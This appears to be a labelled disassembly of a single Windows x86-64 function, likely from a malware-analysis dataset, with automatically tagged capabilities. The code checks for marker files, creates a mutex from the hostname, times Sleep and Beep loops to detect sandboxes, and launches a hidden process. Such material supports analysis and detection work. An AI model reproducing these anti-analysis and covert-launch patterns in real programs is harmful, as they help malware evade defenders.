Function at 0x140001240
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get hostname
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x3110]
mov eax, 0x3210
call fcn.14016b170
sub rsp, rax
mov rax, qword [0x140250f68]
xor rax, rsp
mov qword [rbp + 0x3100], rax
lea rcx, [0x140254b10]
call fcn.1400010c0
test rax, rax
je 0x140001281
mov rcx, rax
call fcn.140174dc4
lea rcx, [0x140254c14]
call fcn.1400010c0
test rax, rax
je 0x14000129a
mov rcx, rax
call fcn.140174dc4
lea rcx, [0x140254d18]
call fcn.1400010c0
test rax, rax
je 0x1400012b3
mov rcx, rax
call fcn.140174dc4
lea rcx, [0x140254e1c]
call fcn.1400010c0
test rax, rax
je 0x1400012cc
mov rcx, rax
call fcn.140174dc4
call fcn.1400016c0
call fcn.140002910
call fcn.1400016c0
lea r8, [0x14023766c]
lea rdx, str.C:UsersPublicPicturesconfig.jpg
lea rcx, [rbp + 0x2008]
call fcn.14017ab48
test eax, eax
jne 0x140001319
mov rcx, qword [rbp + 0x2008]
test rcx, rcx
je 0x140001319
call fcn.14017a8a4
call fcn.140002910
call fcn.1400016c0
jmp 0x1400015f7
lea r8, [0x14023766c]
lea rdx, str.C:Windowscomsetup.log
lea rcx, [rbp + 0x2008]
call fcn.14017ab48
test eax, eax
jne 0x140001348
mov rcx, qword [rbp + 0x2008]
test rcx, rcx
je 0x140001348
call fcn.14017a8a4
call fcn.140002910
xor edx, edx
mov dword [rbp + 0x2008], 0x104
mov r8d, 0x208
lea rcx, [rbp + 0x20a0]
call fcn.14016c320
lea rdx, [rbp + 0x2008]
lea rcx, [rbp + 0x20a0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r8, [rbp + 0x20a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400015f7
mov qword [rsp + 0x3220], rbx
call fcn.1400016c0
call fcn.140003240
test eax, eax
je 0x1400015ea
call fcn.1400016c0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x12c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0xfffffed4
sub ecx, ebx
movsxd rcx, ecx
add rax, rcx
mov rcx, rax
shr rcx, 0x20
xor eax, ecx
sub eax, ecx
cmp eax, 0x64
jg 0x1400015ea
mov qword [rsp + 0x3228], rdi
call fcn.140002910
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rdi, rax
mov ebx, 0xa
nop word [rax + rax]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Beep]
sub rbx, 1
jne 0x140001420
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, edi
mov rdi, qword [rsp + 0x3228]
cmp eax, 0x2710
jl 0x140001611
call fcn.1400016c0
lea rcx, [rbp + 0xfb0]
call fcn.140002e70
mov rdx, rax
lea rcx, [rsp + 0x50]
mov r8d, 0x1052
call fcn.14016bc80
mov r8d, 0x1052
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20a0]
call fcn.14016bc80
call fcn.140002910
call fcn.1400016c0
lea edx, [rbx + 0x65]
lea rcx, [rbp + 0x21b6]
call fcn.140003610
call fcn.140002910
lea edx, [rbx + 0x66]
lea rcx, [rbp + 0x22ba]
call fcn.140003610
call fcn.1400016c0
lea edx, [rbx + 0x68]
lea rcx, [rbp + 0x24c2]
call fcn.140003610
call fcn.140002910
lea edx, [rbx + 0x69]
lea rcx, [rbp + 0x23be]
call fcn.140003610
call fcn.1400016c0
call fcn.1400016c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2030], xmm0
mov qword [rbp + 0x2090], rax
movups xmmword [rbp + 0x2040], xmm0
mov qword [rbp + 0x2020], rax
movups xmmword [rbp + 0x2050], xmm0
movups xmmword [rbp + 0x2060], xmm0
movups xmmword [rbp + 0x2070], xmm0
movups xmmword [rbp + 0x2080], xmm0
movups xmmword [rbp + 0x2010], xmm0
call fcn.140002910
call fcn.1400016c0
lea rax, [rbp + 0x2010]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x21b6]
lea rax, [rbp + 0x2030]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400015ac
call fcn.140002910
mov rcx, qword [rbp + 0x2010]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2018]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400016c0
call fcn.1400016c0
call fcn.140002910
lea r8, [0x140237670]
lea rdx, str.C:UsersPublicPicturesconfig.jpg
lea rcx, [rbp + 0x2008]
call fcn.14017ab48
test eax, eax
jne 0x1400015ea
mov rcx, qword [rbp + 0x2008]
test rcx, rcx
je 0x1400015ea
call fcn.14017a8a4
call fcn.1400016c0
mov rbx, qword [rsp + 0x3220]
xor eax, eax
mov rcx, qword [rbp + 0x3100]
xor rcx, rsp
call fcn.14016ae50
add rsp, 0x3210
pop rbp
ret
call fcn.140002cf0
call fcn.140003750
call fcn.140002d00
call fcn.1400036f0
call fcn.140002cf0
lea rcx, [rbp + 0xfb0]
call fcn.140002e70
call fcn.140002d00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]